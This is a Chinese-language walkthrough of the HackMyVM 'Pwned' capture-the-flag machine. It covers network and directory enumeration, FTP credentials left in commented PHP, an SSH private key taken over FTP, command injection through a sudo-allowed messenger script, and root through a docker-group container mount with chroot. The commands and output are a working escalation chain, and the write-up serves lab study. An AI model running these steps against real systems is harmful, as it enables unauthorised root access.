0%

HackmyVM-Pwned

信息搜集

arp-scan -l扫描ip

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~/Desktop/tmp]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:7d:7d:cf, IPv4: 192.168.31.129
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.31.1 a4:a9:30:df:ef:44 (Unknown)
192.168.31.51 08:00:27:c4:72:27 PCS Systemtechnik GmbH
192.168.31.220 46:3e:62:f9:1e:fa (Unknown: locally administered)
192.168.31.187 a6:9b:e0:2d:30:9a (Unknown: locally administered)
192.168.31.85 7e:2c:58:df:4e:cb (Unknown: locally administered)

5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.986 seconds (128.90 hosts/sec). 5 responded

ip为192.168.31.51,然后nmap扫描开放端口

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[~/Desktop/tmp]
└─# nmap 192.168.31.51 --min-rate=1000 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-22 01:21 EST
Nmap scan report for pwned (192.168.31.51)
Host is up (0.00019s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:C4:72:27 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.85 seconds

开放了21,22,80端口

80端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿kali)-[~/Desktop/tmp]
└─# gobuster dir -u "http://192.168.31.51" -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.31.51
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/nothing (Status: 301) [Size: 316] [--> http://192.168.31.51/nothing/]
/server-status (Status: 403) [Size: 278]
/hidden_text (Status: 301) [Size: 320] [--> http://192.168.31.51/hidden_text/]
Progress: 220559 / 220560 (100.00%)
===============================================================
Finished
===============================================================

/nothing:

1
i said nothing bro

/hidden_text:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/hacked
/vanakam_nanba
/hackerman.gif
/facebook
/whatsapp
/instagram
/pwned
/pwned.com
/pubg
/cod
/fortnite
/youtube
/kali.org
/hacked.vuln
/users.vuln
/passwd.vuln
/pwned.vuln
/backup.vuln
/.ssh
/root
/home

利用给的目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿kali)-[~/Desktop/tmp]
└─# gobuster dir -u "http://192.168.31.51" -w ./secret.dic
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.31.51
[+] Method: GET
[+] Threads: 10
[+] Wordlist: ./secret.dic
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/pwned.vuln (Status: 301) [Size: 319] [--> http://192.168.31.51/pwned.vuln/]
Progress: 22 / 23 (95.65%)
===============================================================
Finished
===============================================================

前端给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// if (isset($_POST['submit'])) {
// $un=$_POST['username'];
// $pw=$_POST['password'];
//
// if ($un=='ftpuser' && $pw=='B0ss_B!TcH') {
// echo "welcome"
// exit();
// }
// else
// echo "Invalid creds"
// }
?>

这是ftp的账号然后登录ftp

21端口

1
2
3
4
5
6
ftp> ls -la
229 Entering Extended Passive Mode (|||48619|)
150 Here comes the directory listing.
drwxrwxrwx 3 0 0 4096 Jul 09 2020 .
drwxr-xr-x 5 0 0 4096 Jul 10 2020 ..
drwxr-xr-x 2 0 0 4096 Jul 10 2020 share

有一个share文件夹,文件夹有id_rsa和note.txt

1
2
3
4
5
6
ftp> ls
229 Entering Extended Passive Mode (|||53927|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 2602 Jul 09 2020 id_rsa
-rw-r--r-- 1 0 0 75 Jul 09 2020 note.txt
226 Directory send OK.

get下载下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ftp> get id_rsa
local: id_rsa remote: id_rsa
229 Entering Extended Passive Mode (|||26918|)
150 Opening BINARY mode data connection for id_rsa (2602 bytes).
100% |***************************************************************************| 2602 350.29 KiB/s 00:00 ETA
226 Transfer complete.
2602 bytes received in 00:00 (308.45 KiB/s)
ftp> get note.txt
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||52418|)
150 Opening BINARY mode data connection for note.txt (75 bytes).
100% |***************************************************************************| 75 34.79 KiB/s 00:00 ETA
226 Transfer complete.
75 bytes received in 00:00 (21.66 KiB/s)

文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
┌──(root㉿kali)-[~/Desktop/tmp]
└─# cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAthncqHSPVcE7xs136G/G7duiV6wULU+1Y906aF3ltGpht/sXByPB
aEzxOfqRXlQfkk7hpSYk8FCAibxddTGkd5YpcSH7U145sc2n7jwv0swjMu1ml+B5Vra7JJ
0cP/I27BcjMy7BxRpugZQJP214jiEixOK6gxTILZRAfHedblnd2rW6PhRcQK++jcEFM+ur
gaaktNdFyK4deT+YHghsYAUi/zyWcvqSOGy9iwO62w4TvMfYRaIL7h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OlcMzUq9ydAAufgHSsbY
GxY4+eGHY4WJUdAAAADHJvb3RAQW5ubHlubgECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

┌──(root㉿kali)-[~/Desktop/tmp]
└─# cat note.txt

Wow you are here

ariana won't happy about this note

sorry ariana :(

给了ssh的私钥和用户名,给id_rsa文件600的权限然后登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿kali)-[~/Desktop/tmp]
└─# ssh ariana@192.168.31.51 -i id_rsa
The authenticity of host '192.168.31.51 (192.168.31.51)' can't be established.
ED25519 key fingerprint is SHA256:Eu7UdscPxuaxyzophLkeILniUaKCge0R96HjWhAmpyk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.31.51' (ED25519) to the list of known hosts.
Linux pwned 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jul 10 13:03:23 2020 from 192.168.18.70
ariana@pwned:~$ ls
ariana-personal.diary user1.txt

提权

1
2
3
4
5
6
ariana@pwned:/$ sudo -l
Matching Defaults entries for ariana on pwned:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ariana may run the following commands on pwned:
(selena) NOPASSWD: /home/messenger.sh

可以以selena用户,无密码运行/home/messenger.sh

messenger.sh的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ariana@pwned:/home$ cat messenger.sh
#!/bin/bash

clear
echo "Welcome to linux.messenger "
echo ""
users=$(cat /etc/passwd | grep home | cut -d/ -f 3)
echo ""
echo "$users"
echo ""
read -p "Enter username to send message : " name
echo ""
read -p "Enter message for $name :" msg
echo ""
echo "Sending message to $name "

$msg 2> /dev/null

echo ""
echo "Message sent to $name :) "
echo ""

直接sudo运行可以提权到selena,然后用python获取伪终端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ariana@pwned:/home$ sudo -u selena /home/messenger.sh
Welcome to linux.messenger


ariana:
selena:
ftpuser:

Enter username to send message : selena

Enter message for selena :bash

Sending message to selena
id
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)
python3 -c 'import pty; pty.spawn("/bin/bash")'
selena@pwned:/home$

selena的主目录下有一个user2.txt

通过id能看到用户在docker组里

1
2
selena@pwned:/$ id
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)
1
2
3
4
5
6
selena@pwned:/$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
privesc latest 09ae39f0f8fc 4 years ago 88.3MB
<none> <none> e13ad046d435 4 years ago 88.3MB
alpine latest a24bb4013296 4 years ago 5.57MB
debian wheezy 10fcec6d95c4 5 years ago 88.3MB

docker提权

1
2
3
selena@pwned:/$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
id
# uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)

提权成功

总结

默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker组用户访问 Docker,给用户提供 Docker 权限;用户在docker组里就可以免sudo运行docker,而容器内默认是root用户,用-v选项将用户外的目录映射到容器内既可以以root用户去修改文件